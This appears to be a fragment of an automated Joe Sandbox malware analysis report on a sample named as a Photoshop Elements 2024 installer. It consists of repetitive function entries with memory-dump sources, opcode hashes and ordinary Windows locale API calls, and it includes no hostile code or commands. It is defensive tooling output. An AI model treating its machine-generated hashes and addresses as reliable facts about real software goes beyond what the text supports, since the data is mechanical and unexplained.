Opcode Fuzzy Hash: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction Fuzzy Hash:

Function 0A770D3F Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3769317097.000000000A770000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_a770000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction ID: 14818e3e9487a0c9bd497ae2e45743b740c1a34d3ba33339ce9637b9a354f560
Opcode Fuzzy Hash: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction Fuzzy Hash:

Function 0A770DC7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3769317097.000000000A770000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_a770000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction ID: 14818e3e9487a0c9bd497ae2e45743b740c1a34d3ba33339ce9637b9a354f560
Opcode Fuzzy Hash: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction Fuzzy Hash:

Function 0A770DCF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3769317097.000000000A770000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_a770000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction ID: 14818e3e9487a0c9bd497ae2e45743b740c1a34d3ba33339ce9637b9a354f560
Opcode Fuzzy Hash: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction Fuzzy Hash:

Function 0A770DBF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3769317097.000000000A770000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_a770000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction ID: 14818e3e9487a0c9bd497ae2e45743b740c1a34d3ba33339ce9637b9a354f560
Opcode Fuzzy Hash: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction Fuzzy Hash:

Function 0A770D9F Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3769317097.000000000A770000.00000010.00000800.00020000.00000000.sdmp, Offset: 0A770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_a770000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction ID: 14818e3e9487a0c9bd497ae2e45743b740c1a34d3ba33339ce9637b9a354f560
Opcode Fuzzy Hash: 4f2b14b35c2823e85ecf8a485c86922c145ff9d6e8e4f1b1e478e6e74dc4b8a2
Instruction Fuzzy Hash:

Function 0C470D6F Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3775358970.000000000C470000.00000010.00000800.00020000.00000000.sdmp, Offset: 0C470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c470000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43e9e456df4894401c15b478709a7668ca80bf393c9555a5f4939e34f563db62
Instruction ID: e5e3e4bbb8fe065a85d2e0d64d5bfdc80809524daf260fb3ea16344e04886990
Opcode Fuzzy Hash: 43e9e456df4894401c15b478709a7668ca80bf393c9555a5f4939e34f563db62
Instruction Fuzzy Hash:

Function 0C470D8F Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3775358970.000000000C470000.00000010.00000800.00020000.00000000.sdmp, Offset: 0C470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c470000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43e9e456df4894401c15b478709a7668ca80bf393c9555a5f4939e34f563db62
Instruction ID: e5e3e4bbb8fe065a85d2e0d64d5bfdc80809524daf260fb3ea16344e04886990
Opcode Fuzzy Hash: 43e9e456df4894401c15b478709a7668ca80bf393c9555a5f4939e34f563db62
Instruction Fuzzy Hash:

Function 0C470D97 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3775358970.000000000C470000.00000010.00000800.00020000.00000000.sdmp, Offset: 0C470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c470000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43e9e456df4894401c15b478709a7668ca80bf393c9555a5f4939e34f563db62
Instruction ID: e5e3e4bbb8fe065a85d2e0d64d5bfdc80809524daf260fb3ea16344e04886990
Opcode Fuzzy Hash: 43e9e456df4894401c15b478709a7668ca80bf393c9555a5f4939e34f563db62
Instruction Fuzzy Hash:

Function 0C470D9F Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3775358970.000000000C470000.00000010.00000800.00020000.00000000.sdmp, Offset: 0C470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c470000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43e9e456df4894401c15b478709a7668ca80bf393c9555a5f4939e34f563db62
Instruction ID: e5e3e4bbb8fe065a85d2e0d64d5bfdc80809524daf260fb3ea16344e04886990
Opcode Fuzzy Hash: 43e9e456df4894401c15b478709a7668ca80bf393c9555a5f4939e34f563db62
Instruction Fuzzy Hash:

Function 0C470DA7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3775358970.000000000C470000.00000010.00000800.00020000.00000000.sdmp, Offset: 0C470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c470000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43e9e456df4894401c15b478709a7668ca80bf393c9555a5f4939e34f563db62
Instruction ID: e5e3e4bbb8fe065a85d2e0d64d5bfdc80809524daf260fb3ea16344e04886990
Opcode Fuzzy Hash: 43e9e456df4894401c15b478709a7668ca80bf393c9555a5f4939e34f563db62
Instruction Fuzzy Hash:

Function 0C470E47 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3775358970.000000000C470000.00000010.00000800.00020000.00000000.sdmp, Offset: 0C470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c470000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43e9e456df4894401c15b478709a7668ca80bf393c9555a5f4939e34f563db62
Instruction ID: e5e3e4bbb8fe065a85d2e0d64d5bfdc80809524daf260fb3ea16344e04886990
Opcode Fuzzy Hash: 43e9e456df4894401c15b478709a7668ca80bf393c9555a5f4939e34f563db62
Instruction Fuzzy Hash:

Function 0C470EE7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3775358970.000000000C470000.00000010.00000800.00020000.00000000.sdmp, Offset: 0C470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c470000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43e9e456df4894401c15b478709a7668ca80bf393c9555a5f4939e34f563db62
Instruction ID: e5e3e4bbb8fe065a85d2e0d64d5bfdc80809524daf260fb3ea16344e04886990
Opcode Fuzzy Hash: 43e9e456df4894401c15b478709a7668ca80bf393c9555a5f4939e34f563db62
Instruction Fuzzy Hash:

Function 0C470EEF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3775358970.000000000C470000.00000010.00000800.00020000.00000000.sdmp, Offset: 0C470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c470000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43e9e456df4894401c15b478709a7668ca80bf393c9555a5f4939e34f563db62
Instruction ID: e5e3e4bbb8fe065a85d2e0d64d5bfdc80809524daf260fb3ea16344e04886990
Opcode Fuzzy Hash: 43e9e456df4894401c15b478709a7668ca80bf393c9555a5f4939e34f563db62
Instruction Fuzzy Hash:

Function 0C470E97 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3775358970.000000000C470000.00000010.00000800.00020000.00000000.sdmp, Offset: 0C470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c470000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43e9e456df4894401c15b478709a7668ca80bf393c9555a5f4939e34f563db62
Instruction ID: e5e3e4bbb8fe065a85d2e0d64d5bfdc80809524daf260fb3ea16344e04886990
Opcode Fuzzy Hash: 43e9e456df4894401c15b478709a7668ca80bf393c9555a5f4939e34f563db62
Instruction Fuzzy Hash:

Function 0C470EA7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3775358970.000000000C470000.00000010.00000800.00020000.00000000.sdmp, Offset: 0C470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c470000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43e9e456df4894401c15b478709a7668ca80bf393c9555a5f4939e34f563db62
Instruction ID: e5e3e4bbb8fe065a85d2e0d64d5bfdc80809524daf260fb3ea16344e04886990
Opcode Fuzzy Hash: 43e9e456df4894401c15b478709a7668ca80bf393c9555a5f4939e34f563db62
Instruction Fuzzy Hash:

Function 0C470EBF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3775358970.000000000C470000.00000010.00000800.00020000.00000000.sdmp, Offset: 0C470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c470000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43e9e456df4894401c15b478709a7668ca80bf393c9555a5f4939e34f563db62
Instruction ID: e5e3e4bbb8fe065a85d2e0d64d5bfdc80809524daf260fb3ea16344e04886990
Opcode Fuzzy Hash: 43e9e456df4894401c15b478709a7668ca80bf393c9555a5f4939e34f563db62
Instruction Fuzzy Hash:

Function 0C470F0F Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3775358970.000000000C470000.00000010.00000800.00020000.00000000.sdmp, Offset: 0C470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c470000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43e9e456df4894401c15b478709a7668ca80bf393c9555a5f4939e34f563db62
Instruction ID: e5e3e4bbb8fe065a85d2e0d64d5bfdc80809524daf260fb3ea16344e04886990
Opcode Fuzzy Hash: 43e9e456df4894401c15b478709a7668ca80bf393c9555a5f4939e34f563db62
Instruction Fuzzy Hash:

Function 0C470F27 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3775358970.000000000C470000.00000010.00000800.00020000.00000000.sdmp, Offset: 0C470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c470000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43e9e456df4894401c15b478709a7668ca80bf393c9555a5f4939e34f563db62
Instruction ID: e5e3e4bbb8fe065a85d2e0d64d5bfdc80809524daf260fb3ea16344e04886990
Opcode Fuzzy Hash: 43e9e456df4894401c15b478709a7668ca80bf393c9555a5f4939e34f563db62
Instruction Fuzzy Hash:

Function 0C470FCF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3775358970.000000000C470000.00000010.00000800.00020000.00000000.sdmp, Offset: 0C470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c470000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43e9e456df4894401c15b478709a7668ca80bf393c9555a5f4939e34f563db62
Instruction ID: e5e3e4bbb8fe065a85d2e0d64d5bfdc80809524daf260fb3ea16344e04886990
Opcode Fuzzy Hash: 43e9e456df4894401c15b478709a7668ca80bf393c9555a5f4939e34f563db62
Instruction Fuzzy Hash:

Function 0C470FD7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3775358970.000000000C470000.00000010.00000800.00020000.00000000.sdmp, Offset: 0C470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c470000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43e9e456df4894401c15b478709a7668ca80bf393c9555a5f4939e34f563db62
Instruction ID: e5e3e4bbb8fe065a85d2e0d64d5bfdc80809524daf260fb3ea16344e04886990
Opcode Fuzzy Hash: 43e9e456df4894401c15b478709a7668ca80bf393c9555a5f4939e34f563db62
Instruction Fuzzy Hash:

Function 0C470FDF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3775358970.000000000C470000.00000010.00000800.00020000.00000000.sdmp, Offset: 0C470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c470000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43e9e456df4894401c15b478709a7668ca80bf393c9555a5f4939e34f563db62
Instruction ID: e5e3e4bbb8fe065a85d2e0d64d5bfdc80809524daf260fb3ea16344e04886990
Opcode Fuzzy Hash: 43e9e456df4894401c15b478709a7668ca80bf393c9555a5f4939e34f563db62
Instruction Fuzzy Hash:

Function 0C470FE7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3775358970.000000000C470000.00000010.00000800.00020000.00000000.sdmp, Offset: 0C470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c470000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43e9e456df4894401c15b478709a7668ca80bf393c9555a5f4939e34f563db62
Instruction ID: e5e3e4bbb8fe065a85d2e0d64d5bfdc80809524daf260fb3ea16344e04886990
Opcode Fuzzy Hash: 43e9e456df4894401c15b478709a7668ca80bf393c9555a5f4939e34f563db62
Instruction Fuzzy Hash:

Function 0C470F8F Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3775358970.000000000C470000.00000010.00000800.00020000.00000000.sdmp, Offset: 0C470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c470000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43e9e456df4894401c15b478709a7668ca80bf393c9555a5f4939e34f563db62
Instruction ID: e5e3e4bbb8fe065a85d2e0d64d5bfdc80809524daf260fb3ea16344e04886990
Opcode Fuzzy Hash: 43e9e456df4894401c15b478709a7668ca80bf393c9555a5f4939e34f563db62
Instruction Fuzzy Hash:

Function 0C470F97 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3775358970.000000000C470000.00000010.00000800.00020000.00000000.sdmp, Offset: 0C470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c470000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43e9e456df4894401c15b478709a7668ca80bf393c9555a5f4939e34f563db62
Instruction ID: e5e3e4bbb8fe065a85d2e0d64d5bfdc80809524daf260fb3ea16344e04886990
Opcode Fuzzy Hash: 43e9e456df4894401c15b478709a7668ca80bf393c9555a5f4939e34f563db62
Instruction Fuzzy Hash:

Function 0C470F9F Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3775358970.000000000C470000.00000010.00000800.00020000.00000000.sdmp, Offset: 0C470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c470000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43e9e456df4894401c15b478709a7668ca80bf393c9555a5f4939e34f563db62
Instruction ID: e5e3e4bbb8fe065a85d2e0d64d5bfdc80809524daf260fb3ea16344e04886990
Opcode Fuzzy Hash: 43e9e456df4894401c15b478709a7668ca80bf393c9555a5f4939e34f563db62
Instruction Fuzzy Hash:

Function 0C470FA7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3775358970.000000000C470000.00000010.00000800.00020000.00000000.sdmp, Offset: 0C470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c470000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43e9e456df4894401c15b478709a7668ca80bf393c9555a5f4939e34f563db62
Instruction ID: e5e3e4bbb8fe065a85d2e0d64d5bfdc80809524daf260fb3ea16344e04886990
Opcode Fuzzy Hash: 43e9e456df4894401c15b478709a7668ca80bf393c9555a5f4939e34f563db62
Instruction Fuzzy Hash:

Function 0C470FAF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3775358970.000000000C470000.00000010.00000800.00020000.00000000.sdmp, Offset: 0C470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_c470000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43e9e456df4894401c15b478709a7668ca80bf393c9555a5f4939e34f563db62
Instruction ID: e5e3e4bbb8fe065a85d2e0d64d5bfdc80809524daf260fb3ea16344e04886990
Opcode Fuzzy Hash: 43e9e456df4894401c15b478709a7668ca80bf393c9555a5f4939e34f563db62
Instruction Fuzzy Hash:

Function 0CCD0FCF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3776538684.000000000CCD0000.00000010.00000800.00020000.00000000.sdmp, Offset: 0CCD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ccd0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3a15be25e73e0af5cd098aeb9f1030a3306e00c055dd63b442d0747fe722849
Instruction ID: 5e1f32685384975b23c1edbfb8397a69696b7dfdb3c321501e549e0b3c0ecb69
Opcode Fuzzy Hash: c3a15be25e73e0af5cd098aeb9f1030a3306e00c055dd63b442d0747fe722849
Instruction Fuzzy Hash:

Function 0CCD0FDF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3776538684.000000000CCD0000.00000010.00000800.00020000.00000000.sdmp, Offset: 0CCD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ccd0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3a15be25e73e0af5cd098aeb9f1030a3306e00c055dd63b442d0747fe722849
Instruction ID: 5e1f32685384975b23c1edbfb8397a69696b7dfdb3c321501e549e0b3c0ecb69
Opcode Fuzzy Hash: c3a15be25e73e0af5cd098aeb9f1030a3306e00c055dd63b442d0747fe722849
Instruction Fuzzy Hash:

Function 0CCD0FD7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3776538684.000000000CCD0000.00000010.00000800.00020000.00000000.sdmp, Offset: 0CCD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ccd0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3a15be25e73e0af5cd098aeb9f1030a3306e00c055dd63b442d0747fe722849
Instruction ID: 5e1f32685384975b23c1edbfb8397a69696b7dfdb3c321501e549e0b3c0ecb69
Opcode Fuzzy Hash: c3a15be25e73e0af5cd098aeb9f1030a3306e00c055dd63b442d0747fe722849
Instruction Fuzzy Hash:

Function 0CCD0FE7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3776538684.000000000CCD0000.00000010.00000800.00020000.00000000.sdmp, Offset: 0CCD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ccd0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3a15be25e73e0af5cd098aeb9f1030a3306e00c055dd63b442d0747fe722849
Instruction ID: 5e1f32685384975b23c1edbfb8397a69696b7dfdb3c321501e549e0b3c0ecb69
Opcode Fuzzy Hash: c3a15be25e73e0af5cd098aeb9f1030a3306e00c055dd63b442d0747fe722849
Instruction Fuzzy Hash:

Function 0CCD0F2F Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3776538684.000000000CCD0000.00000010.00000800.00020000.00000000.sdmp, Offset: 0CCD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ccd0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3a15be25e73e0af5cd098aeb9f1030a3306e00c055dd63b442d0747fe722849
Instruction ID: 5e1f32685384975b23c1edbfb8397a69696b7dfdb3c321501e549e0b3c0ecb69
Opcode Fuzzy Hash: c3a15be25e73e0af5cd098aeb9f1030a3306e00c055dd63b442d0747fe722849
Instruction Fuzzy Hash:

Non-executed Functions

Function 00541A7A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00536413: GetLastError.KERNEL32(00000002,00000000,00000006,0051DC92,00000000,00000000,00000002,?,0053C9D9,00000000,00000000,?,00000000,00000002), ref: 00536418
Part of subcall function 00536413: SetLastError.KERNEL32(00000000,00000002,000000FF,?,0053C9D9,00000000,00000000,?,00000000,00000002), ref: 005364B6

Part of subcall function 00536413: _free.LIBCMT ref: 00536475
Part of subcall function 00536413: _free.LIBCMT ref: 005364AB

GetUserDefaultLCID.KERNEL32(?,?,?), ref: 00541B86
IsValidCodePage.KERNEL32(00000000), ref: 00541BCF
IsValidLocale.KERNEL32(?,00000001), ref: 00541BDE
GetLocaleInfoW.KERNEL32(?,00001001,?,00000040,?,?,00000055,00000000,?,?,00000055,00000000), ref: 00541C26
GetLocaleInfoW.KERNEL32(?,00001002,?,00000040), ref: 00541C45

Strings

Z, xrefs: 00541B33

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid_free$CodeDefaultPageUser
String ID: Z
API String ID: 949163717-2636666949
Opcode ID: 4566c036ec3ffb3220a12c0ab1d520cd2060a7582ca9da34fd68f02b1fb22a0d
Instruction ID: bacd3ae219cc7f7579e9e45b53d0e649965c960feffa912548e85dea709fcd71
Opcode Fuzzy Hash: 4566c036ec3ffb3220a12c0ab1d520cd2060a7582ca9da34fd68f02b1fb22a0d
Instruction Fuzzy Hash: 8351B071A00A06ABEF10DFA5CC85AFE7BB8FF59704F044469F915E7180EB709985CB64

Function 00542525 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1427COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 005426E1

Strings

1#SNAN, xrefs: 005439C8
1#QNAN, xrefs: 005439D2
1#INF, xrefs: 005439DC
1#IND, xrefs: 005439BE

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754233374.0000000000B4A000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d0000_PhotoshopElements_2024_LS30_win64.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 88e345475a6ceb2ab8734ed28d4e9fe223cecebeb192cfea76d5a43df2ccdbb5
Instruction ID: 58613ed175a2463915463a1dcb661bff9ad4b8090eeb0d4b8801c9cd726fa39f
Opcode Fuzzy Hash: 88e345475a6ceb2ab8734ed28d4e9fe223cecebeb192cfea76d5a43df2ccdbb5
Instruction Fuzzy Hash: C2D23A71E092298FDB64CE28DD447EABBB5FB84308F5445EAE40DE7240E774AE858F41

Function 00541119 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00536413: GetLastError.KERNEL32(00000002,00000000,00000006,0051DC92,00000000,00000000,00000002,?,0053C9D9,00000000,00000000,?,00000000,00000002), ref: 00536418
Part of subcall function 00536413: SetLastError.KERNEL32(00000000,00000002,000000FF,?,0053C9D9,00000000,00000000,?,00000000,00000002), ref: 005364B6

GetACP.KERNEL32(?,?,?,?,?,?,00534D70,?,?,?,?,?,-00000050,?,?,?), ref: 005411DA
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00534D70,?,?,?,?,?,-00000050,?,?), ref: 00541205
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,?,00000000,?), ref: 00541368

Strings

Z, xrefs: 00541190
utf8, xrefs: 005412D7

Memory Dump Source

Source File: 0000000A.00000002.3743552926.00000000001D1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001D0000, based on PE: true

Associated: 0000000A.00000002.3743373365.00000000001D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.00000000006D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3743552926.0000000000B40000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.3754163043.0000000000B49000.00000080.00000001.01000000.00000008.sdmpDownload File
